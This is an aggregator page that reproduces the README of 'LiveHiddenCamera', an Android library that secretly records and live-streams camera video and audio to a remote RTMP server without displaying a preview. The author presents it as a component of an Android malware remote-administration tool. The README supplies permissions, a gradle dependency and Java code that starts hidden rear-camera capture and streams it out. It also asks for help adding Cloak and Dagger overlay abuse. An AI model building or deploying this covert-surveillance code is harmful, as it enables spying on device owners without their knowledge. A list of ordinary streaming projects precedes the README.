All Projects → mirsamantajbakhsh → LiveHiddenCamera

mirsamantajbakhsh / LiveHiddenCamera

Licence: other
Live Hidden Camera is a library which record live video and audio from Android device without displaying a preview.

Programming Languages

java
68154 projects - #9 most used programming language

Projects that are alternatives of or similar to LiveHiddenCamera

ZLMediaKit
WebRTC/RTSP/RTMP/HTTP/HLS/HTTP-FLV/WebSocket-FLV/HTTP-TS/HTTP-fMP4/WebSocket-TS/WebSocket-fMP4/GB28181/SRT server and client framework based on C++11
Stars: ✭ 7,790 (+11189.86%)
Mutual labels:  rtmp, live
Live Dl
Download live streams from YouTube
Stars: ✭ 82 (+18.84%)
Mutual labels:  livestream, live
Livego
live video streaming server in golang
Stars: ✭ 7,312 (+10497.1%)
Mutual labels:  livestream, rtmp
Node Media Server
A Node.js implementation of RTMP/HTTP-FLV/WS-FLV/HLS/DASH/MP4 Media Server
Stars: ✭ 4,433 (+6324.64%)
Mutual labels:  livestream, rtmp
Blss
NGINX-based Live Media Streaming Server
Stars: ✭ 187 (+171.01%)
Mutual labels:  livestream, rtmp
Evilslive
This project is a SDK about video stream live
Stars: ✭ 420 (+508.7%)
Mutual labels:  livestream, rtmp
Ksylive ios
金山云直播SDK [ iOS推流+播放 ]融合版 支持美颜滤镜(Beauty Filter)、美声(Beauty Voice)、软硬编(Software/Hardware Encoder) 、网络自适应(Network Auto Adapt)、混音(Audio Mixer)、混响(Reverb)、画中画(PIP)
Stars: ✭ 861 (+1147.83%)
Mutual labels:  livestream, rtmp
cordova-plugin-tencent-liteav
A cordova plugin for video playing with Tencent's LiteAV SDK. Support RTMP/HLS/FLV/MP4.
Stars: ✭ 24 (-65.22%)
Mutual labels:  livestream, rtmp
React Native Live Stream Rtmp Example
React native live stream using RTMP
Stars: ✭ 161 (+133.33%)
Mutual labels:  livestream, rtmp
Oarplayer
Android Rtmp播放器,基于MediaCodec与srs-librtmp,不依赖ffmpeg
Stars: ✭ 124 (+79.71%)
Mutual labels:  livestream, rtmp
Pyinstalive
Python script to download Instagram livestreams and replays.
Stars: ✭ 336 (+386.96%)
Mutual labels:  livestream, live
RtmpPublishKit
rtmp publish kit for android , encode with mediacodec
Stars: ✭ 106 (+53.62%)
Mutual labels:  rtmp, live
Node Stream
RTMP server in Nodejs for live streaming.
Stars: ✭ 320 (+363.77%)
Mutual labels:  livestream, rtmp
Owncast
Take control over your live stream video by running it yourself. Streaming + chat out of the box.
Stars: ✭ 5,382 (+7700%)
Mutual labels:  livestream, rtmp
Monibuca
🧩 Monibuca is a Modularized, Extensible framework for building Streaming Server
Stars: ✭ 307 (+344.93%)
Mutual labels:  livestream, rtmp
Real Live
A cross-platform network media aggregation application.
Stars: ✭ 942 (+1265.22%)
Mutual labels:  livestream, live
InstaLV
Live stream from desktop to Instagram
Stars: ✭ 27 (-60.87%)
Mutual labels:  livestream, rtmp
tms
tms(toy media server) is a toy media server for myself learning media develop. Just for fun.
Stars: ✭ 29 (-57.97%)
Mutual labels:  livestream, rtmp
Docker Multistreamer
Dockerized multistreamer
Stars: ✭ 90 (+30.43%)
Mutual labels:  livestream, rtmp
Rtsp.player.android
RTSP player for Android / IP camera viewer
Stars: ✭ 199 (+188.41%)
Mutual labels:  livestream, rtmp

Live Hidden Camera

Live Hidden Camera (LHC) is a library which record live video and audio from Android device without displaying a preview. Live Hidden Camera

Motivation

I'm working on a research based Android Malware and decided to create a multi function RAT (Remote Administration Tool). I was working on Live Streams which I've found some RTMP based open sources projects including:

Therefore, I've started searching. Finally, I could create Live Hidden Camera which only needs a CONTEXT for stream live video, by combining these two projects:

  1. https://github.com/begeekmyfriend/yasea
  2. https://github.com/kevalpatel2106/android-hidden-camera

How to use

I've created a library to make it more usable. The only requirement is to add the library to your project and pass the Rtmp URL to it.

Additionally you should care about:

  1. Your application should have the following permissions in Manifest.xml:
<uses-permission android:name="android.permission.INTERNET" />  
<uses-permission android:name="android.permission.CAMERA" />  
<uses-permission android:name="android.permission.RECORD_AUDIO" />  
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
  1. You should handle that the declared permissions are granted to your application

Adding library

The usage of the library is straight. Just add the following library to the gradle.build file of your project.

compile 'ir.mstajbakhsh.android:LiveHiddenCamera:0.1.2'

  • Update: In the previouls release, Main Activity with Launcher filter was in library, which made the application (that uses the library), had two icons. In this release, the filter is commented in Manifest.

Creating RTMP server

Before using the library, you should have deployed an Rtmp server. I've ued Ant Media Server. There is a nice guide on Ant Media Server installation in THIS LINK.

After starting the Ant Media Rtmp server, you should see something like this: Ant Media Server

Sample Code

After adding the library to your project, do the following steps:

  1. Create a class which implements: RtmpHandler.RtmpListener, SrsRecordHandler.SrsRecordListener, SrsEncodeHandler.SrsEncodeListener

  2. Create two fields (one for publish and one for preview):

    private SrsPublisher mPublisher;
    private SrsCameraView mCameraView;

  3. Implement a function for starting the Live Hidden Camera:

    private void initHiddenCam(String rtmpURL) {  
    HiddenCameraLayout l = new HiddenCameraLayout(getApplicationContext(), new HiddenCameraLayout.PermissionHandler() {  
        @Override  
  public void onPermissionNotGrantedException(Exception ex) {  
            Log.d("HCL", "Ask user to grant permission.");  
            Log.e("HCL", ex.getMessage());  
        }  
    });  
  
    //start config  
  CameraConfig cameraConfig = new CameraConfig()  
            .getBuilder(MainActivity.this.getApplicationContext())  
            .setCameraFacing(CameraFacing.REAR_FACING_CAMERA)  
            .build();  
  
  
    mCameraView = l.initHiddenLayout(cameraConfig);  
  
    mPublisher = new SrsPublisher(mCameraView);  
    mPublisher.setEncodeHandler(new SrsEncodeHandler(this));  
    mPublisher.setRtmpHandler(new RtmpHandler(this));  
    mPublisher.setRecordHandler(new SrsRecordHandler(this));  
    mPublisher.setPreviewResolution(640, 360);  
    mPublisher.setOutputResolution(640, 360);  
    mPublisher.setVideoHDMode();  
    mPublisher.startPublish(rtmpURL);  
    mPublisher.startCamera();  
}

Problems

Green Screen

The main problem I currently facing, is the green screen. I've described the error in StackOverflow in https://stackoverflow.com/questions/56380851/getting-green-image-while-preview-hidden-live-video

If you have any suggestion about this problem, or any other idea, do not hesitate contacting me.

Constant View

Because of the overlay of the Live Hidden Camera, no other apps can be clicked. The clicks are only accepted by the LHC. Check TODO section.

TODO

There is a project called Cloak and Dagger which unraveled a very dangerous ability in Android. Any contribution in using the Cloack and Dagger in LHC is welcomed.

Check the Cloak and Dagger here:

  1. http://cloak-and-dagger.org
  2. https://medium.com/@targetpractice/cloak-and-dagger-malware-techniques-demystified-c4d8a035b94e

Donate

You may donate this project using my BitCoin address at:

BitCoin:

1F5uiEmdCLJX5KktWHE1wkc63feKJYMmxS

Contact

You can reach me from my website: https://mstajbakhsh.ir/

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].